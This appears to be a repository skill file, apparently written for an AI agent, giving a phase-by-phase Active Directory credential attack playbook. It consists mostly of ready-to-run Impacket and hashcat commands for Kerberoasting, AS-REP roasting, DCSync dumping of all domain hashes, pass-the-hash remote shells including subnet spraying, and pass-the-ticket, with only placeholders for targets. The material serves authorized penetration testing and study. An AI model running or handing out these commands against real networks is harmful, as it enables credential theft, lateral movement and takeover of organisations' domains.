ad-attacks

Files (1)

• SKILL.md

SKILL.md (first lines)

# Active Directory Credential Attacks

Kerberoasting → AS-REP roasting → DCSync → Pass-the-Hash → Pass-the-Ticket → Silver/Golden Ticket → NTLM relay.
All via Impacket CLI — no Windows required.

## Install

```bash
pip install impacket --break-system-packages
sudo apt-get install -y krb5-user hashcat john
```

---

## Phase 1: Kerberoasting

```bash
# Request TGS for accounts with SPNs → crack offline
# Requires: any valid domain account

GetUserSPNs.py 'DOMAIN.COM/user:password' -dc-ip <DC_IP> -request \
  -outputfile kerberoast_hashes.txt

# With NTLM hash:
GetUserSPNs.py 'DOMAIN.COM/user' -hashes ':NTHASH' -dc-ip <DC_IP> -request \
  -outputfile kerberoast_hashes.txt

# With Kerberos ticket:
KRB5CCNAME=/tmp/user.ccache GetUserSPNs.py 'DOMAIN.COM/user' \
  -dc-ip <DC_IP> -k -no-pass -request

# Crack:
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Hash types:
# $krb5tgs$23$* = RC4     → mode 13100 (fastest)
# $krb5tgs$18$* = AES256  → mode 19700
# $krb5tgs$17$* = AES128  → mode 19600
```

---

## Phase 2: AS-REP Roasting

```bash
# Accounts with "Do not require Kerberos pre-auth" — no creds needed if usernames known

# Unauthenticated (username list):
GetNPUsers.py 'DOMAIN.COM/' -usersfile usernames.txt -dc-ip <DC_IP> \
  -no-pass -format hashcat -outputfile asrep_hashes.txt

# Authenticated (auto-enumerate):
GetNPUsers.py 'DOMAIN.COM/user:password' -dc-ip <DC_IP> -request \
  -format hashcat -outputfile asrep_hashes.txt

# Crack (mode 18200):
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule
```

---

## Phase 3: DCSync — Dump All Hashes

```bash
# Requires: GenericAll/WriteDacl/Replication rights on domain object OR DA

# Full dump:
secretsdump.py 'DOMAIN.COM/admin:password@<DC_IP>'

# With NTLM hash:
secretsdump.py -hashes ':NTHASH' 'DOMAIN.COM/admin@<DC_IP>'

# Specific user only:
secretsdump.py 'DOMAIN.COM/admin:password@<DC_IP>' -just-dc-user krbtgt
secretsdump.py 'DOMAIN.COM/admin:password@<DC_IP>' -just-dc-user administrator

# Offline (if NTDS.dit accessible):
secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL

# Output: domain\user:RID:LMHASH:NTHASH:::
```

---

## Phase 4: Pass-the-Hash

```bash
# Authenticate using NTLM hash instead of password

psexec.py   -hashes ':NTHASH' 'DOMAIN.COM/administrator@<TARGET>'   # shell
wmiexec.py  -hashes ':NTHASH' 'DOMAIN.COM/administrator@<TARGET>'   # quieter
smbexec.py  -hashes ':NTHASH' 'DOMAIN.COM/administrator@<TARGET>'
atexec.py   -hashes ':NTHASH' 'DOMAIN.COM/administrator@<TARGET>' "whoami"

# netexec PtH:
nxc smb <TARGET> -u administrator -H 'NTHASH' --exec-method wmiexec -x "whoami"
nxc smb 10.10.10.0/24 -u administrator -H 'NTHASH'   # spray subnet

# RDP (requires Restricted Admin Mode enabled):
xfreerdp /v:<TARGET> /u:administrator /pth:NTHASH /cert:ignore +clipboard
```

---

## Phase 5: Pass-the-Ticket

```bash
# Request TGT:
getTGT.py 'DOMAIN.COM/user:password' -dc-ip <DC_IP>   # → user.ccache

# Overpass-the-hash (hash → TGT):
getTGT.py 'DOMAIN.COM/user' -hashes ':NTHASH' -dc-ip <DC_IP>

# Use ticket:
export KRB5CCNAME=/tmp/user.ccache
klist   # verify

From Yoraexe/ceobe, MIT.

More from Yoraexe/ceobe